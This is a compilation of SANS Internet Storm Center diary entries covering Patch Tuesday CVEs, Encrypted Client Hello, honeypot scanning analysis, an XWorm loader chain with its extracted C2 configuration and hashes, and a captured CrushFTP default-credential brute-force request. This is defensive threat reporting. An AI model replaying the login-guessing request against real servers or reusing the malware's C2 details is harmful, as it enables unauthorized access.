Let's force the decompression of the data: -s forcedecompress:

This reveals the EICAR file content.

Option forcedecompress is a new option that I just coded in zipdump.py version 0.0.35. Option decompress will only decompress if the compression type is DEFLATED, thus it can't be used on this malformed ZIP file. Option forcedecompress will always try to decompress (and potentially fail), regardless of the compression type.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

Microsoft today released patches for 93 vulnerabilities, including 9 vulnerabilities in Chromium affecting Microsoft Edge. 8 of the vulnerabilities are rated critical. 2 were disclosed prior to today but have not yet been exploited. This update addresses no already-exploited vulnerabilities.

Disclose vulnerabilities:

CVE-2026-26127: A denial of service vulnerability in .Net. Microsoft considers exploitation unlikely. The issue arises from an out-of-bounds read and can be exploited across the network. No authentication is required.

CVE-2026-21262: A privilege escalation in SQL Server. An authenticated user may be able to escalate privileges to sysadmin.

Critical Vulnerabilities:

CVE-2026-21536: The vulnerability in Microsoft's Devices Pricing Program allows remote code execution. But this product is only offered as a cloud service, and Microsoft has already deployed the patch. Microsoft credits the AI vulnerability scanning platform XBOW with discovering this vulnerability.

CVE-2026-26125: Similar to the above vulnerability, this elevation-of-privilege vulnerability in Microsoft's Payment Orchestrator service has been mitigated by Microsoft.

CVE-2026-26113, CVE-2026-26110, CVE-2026-26144: These vulnerabilities affect Excel and Office.

CVE-2026-23651, CVE-2026-26124, CVE-2026-26122: These vulnerabilities affect Microsoft ACI Confidential Containers. No customer action is required. Microsoft already patched these issues.

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Denial of Service Vulnerability
%%cve:2026-26127%%	Yes	No	-	-	Important	7.5	6.5
.NET Elevation of Privilege Vulnerability
%%cve:2026-26131%%	No	No	-	-	Important	7.8	6.8
ASP.NET Core Denial of Service Vulnerability
%%cve:2026-26130%%	No	No	-	-	Important	7.5	6.5
Active Directory Domain Services Elevation of Privilege Vulnerability
%%cve:2026-25177%%	No	No	-	-	Important	8.8	7.7
Arc Enabled Servers - Azure Connected Machine Agent Elevation of Privilege Vulnerability
%%cve:2026-26117%%	No	No	-	-	Important	7.8	6.8
Azure IOT Explorer Spoofing Vulnerability
%%cve:2026-26121%%	No	No	-	-	Important	7.5	6.5
Azure IoT Explorer Information Disclosure Vulnerability
%%cve:2026-23664%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-23661%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-23662%%	No	No	-	-	Important	7.5	6.5
Azure MCP Server Tools Elevation of Privilege Vulnerability
%%cve:2026-26118%%	No	No	-	-	Important	8.8	7.7
Broadcast DVR Elevation of Privilege Vulnerability
%%cve:2026-23667%%	No	No	-	-	Important	7.0	6.1
Chromium: CVE-2026-3536 Integer overflow in ANGLE
%%cve:2026-3536%%	No	No	-	-	-
Chromium: CVE-2026-3538 Integer overflow in Skia
%%cve:2026-3538%%	No	No	-	-	-
Chromium: CVE-2026-3539 Object lifecycle issue in DevTools
%%cve:2026-3539%%	No	No	-	-	-
Chromium: CVE-2026-3540 Inappropriate implementation in WebAudio
%%cve:2026-3540%%	No	No	-	-	-
Chromium: CVE-2026-3541 Inappropriate implementation in CSS
%%cve:2026-3541%%	No	No	-	-	-
Chromium: CVE-2026-3542 Inappropriate implementation in WebAssembly
%%cve:2026-3542%%	No	No	-	-	-
Chromium: CVE-2026-3543 Inappropriate implementation in V8
%%cve:2026-3543%%	No	No	-	-	-
Chromium: CVE-2026-3544 Heap buffer overflow in WebCodecs
%%cve:2026-3544%%	No	No	-	-	-
Chromium: CVE-2026-3545 Insufficient data validation in Navigation
%%cve:2026-3545%%	No	No	-	-	-
GDI Remote Code Execution Vulnerability
%%cve:2026-25190%%	No	No	-	-	Important	7.8	6.8
GDI+ Information Disclosure Vulnerability
%%cve:2026-25181%%	No	No	-	-	Important	7.5	6.5
GitHub: CVE-2026-26030 Microsoft Semantic Kernel InMemoryVectorStore filter functionality vulnerable
%%cve:2026-26030%%	No	No	-	-	Important	9.9	8.6
GitHub: Zero Shot SCFoundation Remote Code Execution Vulnerability
%%cve:2026-23654%%	No	No	-	-	Important	8.8	7.7
Hybrid Worker Extension (Arc?enabled Windows VMs) Elevation of Privilege Vulnerability
%%cve:2026-26141%%	No	No	-	-	Important	7.8	6.8
Linux Azure Diagnostic extension (LAD) Elevation of Privilege Vulnerability
%%cve:2026-23665%%	No	No	-	-	Important	7.8	6.8
MapUrlToZone Security Feature Bypass Vulnerability
%%cve:2026-23674%%	No	No	-	-	Important	7.5	6.5
Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability
%%cve:2026-23651%%	No	No	-	-	Critical	6.7	6.0
%%cve:2026-26124%%	No	No	-	-	Critical	6.7	6.0
Microsoft ACI Confidential Containers Information Disclosure Vulnerability
%%cve:2026-26122%%	No	No	-	-	Critical	6.5	5.7
Microsoft Authenticator Information Disclosure Vulnerability
%%cve:2026-26123%%	No	No	-	-	Important	5.5	4.8
Microsoft Azure AD SSH Login extension for Linux Elevation of Privilege Vulnerability
%%cve:2026-26148%%	No	No	-	-	Important	8.1	7.3
Microsoft Brokering File System Elevation of Privilege Vulnerability
%%cve:2026-25167%%	No	No	-	-	Important	7.4	6.4
Microsoft Devices Pricing Program Remote Code Execution Vulnerability
%%cve:2026-21536%%	No	No	-	-	Critical	9.8	8.5
Microsoft Excel Information Disclosure Vulnerability
%%cve:2026-26144%%	No	No	-	-	Critical	7.5	6.5
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2026-26112%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-26107%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-26108%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-26109%%	No	No	-	-	Important	8.4	7.3
Microsoft Office Elevation of Privilege Vulnerability
%%cve:2026-26134%%	No	No	-	-	Important	7.8	6.8
Microsoft Office Remote Code Execution Vulnerability
%%cve:2026-26113%%	No	No	-	-	Critical	8.4	7.3
%%cve:2026-26110%%	No	No	-	-	Critical	8.4	7.3
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2026-26114%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-26106%%	No	No	-	-	Important	8.8	7.7
Microsoft SharePoint Server Spoofing Vulnerability
%%cve:2026-26105%%	No	No	-	-	Important	8.1	7.1
Multiple UNC Provider Kernel Driver Elevation of Privilege Vulnerability
%%cve:2026-24283%%	No	No	-	-	Important	8.8	7.7
Payment Orchestrator Service Elevation of Privilege Vulnerability
%%cve:2026-26125%%	No	No	-	-	Critical	8.6	7.7
Performance Counters for Windows Elevation of Privilege Vulnerability
%%cve:2026-25165%%	No	No	-	-	Important	7.8	6.8
Push message Routing Service Elevation of Privilege Vulnerability
%%cve:2026-24282%%	No	No	-	-	Important	5.5	4.8
SQL Server Elevation of Privilege Vulnerability
%%cve:2026-21262%%	Yes	No	-	-	Important	8.8	7.7
%%cve:2026-26115%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-26116%%	No	No	-	-	Important	8.8	7.7
System Center Operations Manager (SCOM) Elevation of Privilege Vulnerability
%%cve:2026-20967%%	No	No	-	-	Important	8.8	7.7
Win32k Elevation of Privilege Vulnerability
%%cve:2026-24285%%	No	No	-	-	Important	7.0	6.1
Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability
%%cve:2026-24291%%	No	No	-	-	Important	7.8	6.8
Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability
%%cve:2026-25186%%	No	No	-	-	Important	5.5	4.8
Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability
%%cve:2026-23660%%	No	No	-	-	Important	7.8	6.8
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2026-24293%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-25176%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-25178%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-25179%%	No	No	-	-	Important	7.0	6.1
Windows App Installer Spoofing Vulnerability
%%cve:2026-23656%%	No	No	-	-	Important
Windows Authentication Elevation of Privilege Vulnerability
%%cve:2026-25171%%	No	No	-	-	Important	7.0	6.1
Windows Bluetooth RFCOM Protocol Driver Elevation of Privilege Vulnerability
%%cve:2026-23671%%	No	No	-	-	Important	7.0	6.1
Windows Connected Devices Platform Service Elevation of Privilege Vulnerability
%%cve:2026-24292%%	No	No	-	-	Important	7.8	6.8
Windows DWM Core Library Elevation of Privilege Vulnerability
%%cve:2026-25189%%	No	No	-	-	Important	7.8	6.8
Windows Device Association Service Elevation of Privilege Vulnerability
%%cve:2026-24295%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-24296%%	No	No	-	-	Important	7.0	6.1
Windows Extensible File Allocation Table Elevation of Privilege Vulnerability
%%cve:2026-25174%%	No	No	-	-	Important	7.8	6.8
Windows Graphics Component Denial of Service Vulnerability
%%cve:2026-25168%%	No	No	-	-	Important	6.2	5.4
%%cve:2026-25169%%	No	No	-	-	Important	6.2	5.4
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2026-23668%%	No	No	-	-	Important	7.0	6.1
Windows Graphics Component Information Disclosure Vulnerability
%%cve:2026-25180%%	No	No	-	-	Important	5.5	4.8
Windows Hyper-V Elevation of Privilege Vulnerability
%%cve:2026-25170%%	No	No	-	-	Important	7.0	6.1
Windows Kerberos Security Feature Bypass Vulnerability
%%cve:2026-24297%%	No	No	-	-	Important	6.5	5.7
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2026-24287%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-24289%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-26132%%	No	No	-	-	Important	7.8	6.8
Windows Mobile Broadband Driver Remote Code Execution Vulnerability
%%cve:2026-24288%%	No	No	-	-	Important	6.8	5.9
Windows NTFS Elevation of Privilege Vulnerability
%%cve:2026-25175%%	No	No	-	-	Important	7.8	6.8
Windows Print Spooler Remote Code Execution Vulnerability
%%cve:2026-23669%%	No	No	-	-	Important	8.8	7.7
Windows Projected File System Elevation of Privilege Vulnerability
%%cve:2026-24290%%	No	No	-	-	Important	7.8	6.8
Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability
%%cve:2026-23673%%	No	No	-	-	Important	7.8	6.8
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
%%cve:2026-25172%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-25173%%	No	No	-	-	Important	8.0	7.0
%%cve:2026-26111%%	No	No	-	-	Important	8.8	7.7
Windows SMB Server Elevation of Privilege Vulnerability
%%cve:2026-24294%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-26128%%	No	No	-	-	Important	7.8	6.8
Windows Shell Link Processing Spoofing Vulnerability
%%cve:2026-25185%%	No	No	-	-	Important	5.3	4.6
Windows System Image Manager Assessment and Deployment Kit (ADK) Remote Code Execution Vulnerability
%%cve:2026-25166%%	No	No	-	-	Important	7.8	6.8
Windows Telephony Service Elevation of Privilege Vulnerability
%%cve:2026-25188%%	No	No	-	-	Important	8.8	7.7
Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability
%%cve:2026-23672%%	No	No	-	-	Important	7.8	6.8
Winlogon Elevation of Privilege Vulnerability
%%cve:2026-25187%%	No	No	-	-	Important	7.8	6.8

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Last week, two related RFCs were published: 

RFC 9848: Bootstrapping TLS Encrypted ClientHello with DNS Service Bindings
RFC 9849: TLS Encrypted Client Hello

These TLS extensions have been discussed quite a bit already, and Cloudflare, one of the early implementers and proponents, has been in use for a while.

Amidst an increased concern about threats to privacy from government and commercial interests, the "encrypt everything " movement has been on the rise for a while. The community made several improvements to TLS, such as TLS 1.3, the QUIC protocol, the deprecation of OCSP, and encrypted DNS modes, to better protect the privacy of network traffic.

There was one data leak left: For a client to establish a TLS connection, it needs to send a "TLS Client Hello" message. This message contains several sensitive items, most notably the hostname of the site the client attempts to connect to ("Server Name Indication"). One of the early proposals was just to encrypt the Server Name Indication extension. But this does not solve the entire problem, allowing for fingerprinting and other attacks. The same basic principles proposed for encrypting the server name extension can also be applied to encrypt most of the client hello message, resulting in a more complete solution.

One of the basic problems is exchanging key material. The client hello message is the first message sent during the TLS handshake. There is no opportunity for the server and client to negotiate an encryption key, and doing so would require a second handshake. Instead, encrypted client hellos leverage the HTTPS DNS record. The HTTPS record is already used to negotiate HTTP3/QUIC. It is now also used to transmit the keys required for Encrypted Client Hello (ECH). 

Enabling ECH is trivial if you are using Cloudflare. Just "flip the switch" in Cloudflare's edge certificate settings. However, I do not believe this is available on the free plan.

To test if a domain supports ECH, use a tool like "dig" to retrieve the HTTP record:

# dig -t HTTPS dshield.org +short
1 . alpn="h2" ipv4hint=104.26.2.15,104.26.3.15,172.67.70.195 ech=AEX+DQBBawAgACBRVO1kCb5b2znHUOTe+L42PHgEjBSNt4LD/qDNxffkAgAEAAEAAQASY2xvdWRmbGFyZS1lY2guY29tAAA= ipv6hint=2606:4700:20::681a:20f,2606:4700:20::681a:30f,2606:4700:20::ac43:46c3

Note the "ech=" part. Without ECH support, you may still see an HTTPS record, but it will not contain the "ech=" part. The base64 encoded string following "ech=" contains the public encryption key used to encrypt the client hello. A good test is cloudflare-ech.com, which will show whether your browser is using ECH. You can also use that domain to check if you are seeing the HTTPS record.

When using "dig", make sure you are using a version that supports HTTPS records. Older versions may not, and even the latest version of dig for macOS does not support HTTPS records. You will see a warning (which, as I found out, is easily missed), and you may still get "A" record responses:

% dig -t HTTPS dshield.org +short
;; Warning, ignoring invalid type HTTPS

For all the network traffic analysts grinding their teeth: You could block HTTPS records. This will also prevent QUIC from being used, which may be in your favor. But whether this is appropriate or not for your network is a question you must answer based on your business.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

YARA-X's 1.14.0 release brings 4 improvements and 2 bugfixes.

One of the improvements is a new CLI command: deps.

This command shows you the dependencies of rules.

Here is an example. Rule rule1 has no dependencies, rule rule2 depends on rule rule1 and rule rule3 depends on rule rule2:

Running the deps command on these rules gives you the dependencies:

Didier Stevens
Senior handler
blog.DidierStevens.com

 

[This is a Guest Diary by Joseph Gruen, an ISC intern as part of the SANS.edu BACS program]

The internet is under constant, automated siege.  Every publicly reachable IP address is probed continuously by bots and scanners hunting for anything that can be exploited or retrieved. It’s not because there is a specific target, but simply because that target exists. This type of behavior, known as opportunistic scanning, is one of the most prevalent and persistent threats facing internet-connected systems today. The opportunistic threat actor fires a series of large-scale automated probes at the entire internet and collects whatever responds. They are not after one person specifically; they are after anyone who left a door unlocked. This is the opposite of a targeted intrusion, where an adversary researches specific organizations, crafts custom tools, and maintains access while working quietly in the background. 

This distinction matters enormously for defenders as a targeted attacker will adapt and persist when blocked, while an opportunistic scanner will simply move on to the next IP on its list.  To understand how these automated actors operate, what they look for, how they find it, and what they do when they find it is to understand one of the most fundamental realities of modern internet exposure. On January 31, 2026, my DShield web honeypot recorded a short-lived surge in HTTP traffic behavior.  This spike stood out from the normal day-to-day patterns reviewed for the month of January 2026. A single automated scanner generated nearly 1,000 requests in a 10-second window, systematically probing for sensitive files that are commonly left exposed by misconfigured or careless web server administrators. A mix of file enumeration and classic opportunistic vulnerability probes was recorded. The Kibana time picker was utilized, narrowed, and set to January 31, 2026, at 06:01:30 to January 31, 2026, 06:01:40.

101.53.149.128 generated approximately 962 events (~52.91%) by itself which happened during that 10-second window. The top source (101.53.149.128) behaved like a broad-spectrum web scanner running a word list focused on accidentally exposed artifacts (compressed backups, database dumps, deploy bundles). Instead of flooding one URL repeatedly, it was testing hundreds of unique filenames once each.

Frequently requested file extensions included

.gz (255)  -  file is a compressed archive file created by the GNU zip (gzip) algorithm
.tgz (170) – file is a compressed archive file, commonly known as a "tarball," used primarily in Unix/Linux systems to bundle multiple files and directories into one file and compress them using gzip
A large set tied at 85 each: .bak, .bz2, .sql, zip, .7z, .rar, .war, .jar.
.bak - file is a common file extension used for backup copies of data, often created    automatically by software
.bz2 - file is a single file compressed using the open-source bzip2 algorithm. Common in Unix/Linux, it offers high compression ratios, similar to .gz but usually slower with higher memory usage. These files are used for data compression and archiving.
.sql -  file is a plain text file that contains code written in Structured Query Language (SQL). This code is used to manage and interact with relational databases, including creating or modifying database structures and manipulating data (inserting, deleting, extracting, or updating information).
.zip - file is an archive file format that combines multiple files into a single, compressed folder, reducing total file size for faster sharing and storage. It is widely used for organizing data and, in many cases, is supported natively by Windows and macOS without additional software.
.7z - file is a highly compressed archive format associated with the open-source 7-Zip software, designed for superior compression ratios using LZMA/LZMA2 methods, strong AES-256 encryption, and support for massive file sizes (up to 16,000 million terabytes). It is commonly used to group multiple files into a single, smaller package.
.rar - file (Roshal Archive) is a proprietary, high-compression archive format used to bundle, compress, and encrypt multiple files into one container.
.war -  (Web ARchive) file is a packaged file format used in Java EE (now Jakarta EE) for distributing a complete web application. It is essentially a standard ZIP file with a .war extension and a specific, standardized directory structure.
.jar - JAR (Java ARchive) file is a platform-independent file format used to aggregate many Java class files, associated metadata (in a MANIFEST.MF file), and resources (like images or sounds) into a single, compressed file for efficient distribution and deployment. The format is based on the popular ZIP file format.
The above file extensions are all types of compression files, excluding the backup .bak,  and .sql.

 

Both URLs share an almost identical reporting history.  Each was first observed in the DShield sensor network on January 31, 2024, exactly 2 years before the 2026 campaign, with a single isolated report. A second isolated sighting for both occurred on June 16, 2024.  After these sporadic early sightings, both URLs went completely dark across the entire sensor network from late 2024 through all of 2025, a stillness stretching over a year is a clear visible flat baseline on the ISC activity chart.

Then, beginning January 29, 2026, both URLs reappeared simultaneously across multiple sensors. The reporting pattern over those three days was identical for both URLs: 1 report on January 29, a peak of 6 reports on January 30, and 1 report on January 31, the date this sensor captured the activity. This synchronized, multi-day pattern across both URLs is the signature of a single coordinated scanning campaign sweeping across the internet.

The January 30 peak of 6 reports means that at least 6 independent DShield sensors worldwide were struck by this campaign the day before this sensor was hit.  The January 31 capture represents the trailing edge of this wave, which has been building for three days across a network of honeypots.  This corroboration is critical, as it confirms that what this sensor recorded was not a localized or random event, but part of a deliberately coordinated campaign that the multiple defenders around the world were observing simultaneously.

The fact that these URLs first appeared over two years earlier, in January 2024 and June 2024, indicates that this wordlist is not brand new.  It has existed in some form for at least two years. However, the complete absence of reports throughout all of 2025 followed by a sudden concentrated burst in late January 2026 suggests the actor either went dormant and resumed, updated their infrastructure, or began deploying this wordlist at a significantly larger scale at the start of 2026. The January 2026 campaign represents the most sustained and globally distributed use of these URLs ever recorded in the ISC dataset. 

The observed traffic spike captured by this DShield web honeypot on January 31, 2026, illustrates how quickly and efficiently automated opportunistic scanners can probe exposed web services for sensitive files. A single actor operating from 101.53.149.128 executed a rapid, wordlist-driven file enumeration campaign targeting year-based compressed archives and a broad set of sensitive file extensions, all via HTTP on port 80, with no SSH probing, no authentication attempts, and no multi-vector behavior of any kind. The honeypot telemetry provides valuable insight into these behaviors and reinforces the importance of secure configuration and continuous monitoring of Internet-facing services.

The retrospective DShield SIEM analysis confirmed the actor was narrowly focused. A dedicated web artifact harvester, not a general-purpose scanner.  The ISC URL history data placed this local observation into global context, revealing a coordinated 3-day campaign that struck at least 6 independent honeypots worldwide on January 30, before reaching this sensor on January 31, the trailing edge of a wave the global DShield community was observing in real time.

The uniqueness of these URL patterns is the ISC dataset, combined with the structured sophistication of the wordlist and the precision of the actor’s web only behavior, suggests this represents either a newly scaled deployment of existing tooling or a freshly updated campaign targeting server backup artifacts. Early detection and reporting of such patterns contribute directly to the global threat intelligence ecosystem and allows defenders worldwide to strengthen their posture before campaigns mature.

Understanding what opportunistic attackers look for is critical for defenders.  The presence of backup files, data exports, or deployment artifacts on production web servers can lead to immediate compromise without the need for sophisticated exploits. Even short exposure windows as little as the 10 second captured here are sufficient for automated scanners to identify and attempt to retrieve sensitive data.

[1] https://isc.sans.edu/weblogs/urlhistory.html?url=LzIwMTAuZ3oK
[2] https://isc.sans.edu/weblogs/urlhistory.html?url=LzIwMTIudGFyLnRnego=
[3] A. I. Mohaidat and A. Al-Helali, “Web vulnerability scanning tools: A comprehensive overview, selection guidance, and cybersecurity recommendations,” International Journal of Research Studies in Computer Science and Engineering (IJRSCSE), vol. 10, no. 1, pp. 8–15, 2024, doi: 10.20431/2349-4859.1001002.
[4] J. Mayer, M. Schramm, L. Bechtel, N. Lohmiller, S. Kaniewski, M. Menth, and T. Heer, “I Know Who You Scanned Last Summer: Mapping the Landscape of Internet-Wide Scanners,” in Proc. IFIP Networking 2024, Thessaloniki, Jun. 2024, pp. 222–230, doi: 10.23919/IFIPNetworking62109.2024.10619808.
[5] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

And another XWorm[1] wave in the wild! This malware family is not new and heavily spread but delivery techniques always evolve and deserve to be described to show you how threat actors can be imaginative! This time, we are facing another piece of multi-technology malware.

Here is a quick overview:

The Javascript is a classic obfuscated one:

No need to try to analyze it, just let it run in a sandbox and see its magic. It will drop a PowerShell script in a temporary directory (“C:\Temp\ps_5uGUQcco8t5W_1772542824586.ps1”). This loader will decode (Base64 + XOR) another payload that invokes another piece of PowerShell in memory:

Because the last payload is XOR-encrypted, it is not obfuscated and easy to understand. The DLL exports a function called “ProcessHollowing” (nice name, btw) and acts as a loader. It inject the XWorm client in the .Net compiler process…

Here is the extracted config:

{
    "c2": [
        "204[.]10[.]160[.]190:7003"
    ],
    "attr": {
        "install_file": "USB.exe"
    },
    "keys": [
        {
            "key": "aes_key",
            "kind": "aes.plain",
            "value": "XAorWEAzx4+ic89KWd910w=="
        }
    ],
    "rule": "Xworm",
    "mutex": [
        "Cqu1F0NxohroKG5U"
    ],
    "family": "xworm",
    "version": "XWorm V6.4"
}

Do you recognize the C2 IP address? It's the same as the one detected in my latest diary![2]

And some IOC's:

File	SHA256
Inv-4091-CBM-4091-CUSTOM-Packing_List.js	5140b02a05b7e8e0c0afbb459e66de4d74f79665c1d83419235ff0cdcf046e9c
ps_5uGUQcco8t5W_1772542824586.ps1	5a3d33efaaff4ef7b7d473901bd1eec76dcd9cf638213c7d1d3b9029e2aa99a4
MAD.dll	af3919de04454af9ed2ffa7f34e4b600b3ce24168f745dba4c372eb8bcc22a21
payload.exe (XWorm)	58e38fffb78964300522d89396f276ae0527def8495126ff036e57f0e8d3c33b

[1] https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm
[2] https://isc.sans.edu/diary/Fake%20Fedex%20Email%20Delivers%20Donuts!/32754

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

CrushFTP is a Java-based open source file transfer system. It is offered for multiple operating systems. If you run a CrushFTP instance, you may remember that the software has had some serious vulnerabilities: CVE-2024-4040 (the template-injection flaw that let unauthenticated attackers escape the VFS sandbox and achieve RCE), CVE-2025-31161 (the auth-bypass that handed over the crushadmin account on a silver platter), and the July 2025 zero-day CVE-2025-54309 that was actively exploited in the wild.

But what we are seeing now is not an exploit of a specific vulnerability, but rather simple brute-forcing, looking for lazily configured systems.

The requests we are seeing right now:

POST /WebInterface/function/?command=login&username=crushadmin&password=crushadmin HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.137 Safari/537.36
Content-Length: 0
Accept-Encoding: gzip
Connection: close

Note that these are POST requests, but the username and password are passed as GET parameters. The body of the request is empty.

During setup, CrushFTP requires that the user configure an admin user. The username is not fixed, but "crushadmin" is one of the suggested usernames. Others are "root" and "admin". There is no default or suggested password. The attacker relies on lazy administrators who use "crushadmin" as both a username and a password.

These attacks originate from 5.189.139.225, a French IP address with a history of exploit attempts targeting simple vulnerabilities. We have seen this IP acting up since around February.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Wireshark release 4.6.4 fixes 3 vulnerabilities and 15 bugs.

Didier Stevens
Senior handler
blog.DidierStevens.com

In diary entry "Quick Howto: Extract URLs from RTF files" I mentioned ZIP files.

There are OLE objects inside this RTF file:

 

They can be analyzed with oledump.py like this:

Options --storages and -E %CLSID% are used to show the abused CLSID.

Stream CONTENTS contains the URL:

We extracted this URL with the method described in my previous diary entry "Quick Howto: Extract URLs from RTF files".

But this OLE object contains a .docx file.

A .docx file is a ZIP container, and thus the URLs it contains are inside compressed files, and will not be extracted with the technique I explained.

But this file can be looked into with zipdump.py:

It is possible to search for ZIP files embedded inside RTF files: 50 4B 03 04 -> hex sequence of magic number header for file record in ZIP file.

Search for all embedded ZIP files:

Extract URLs:

 

Didier Stevens
Senior handler
blog.DidierStevens.com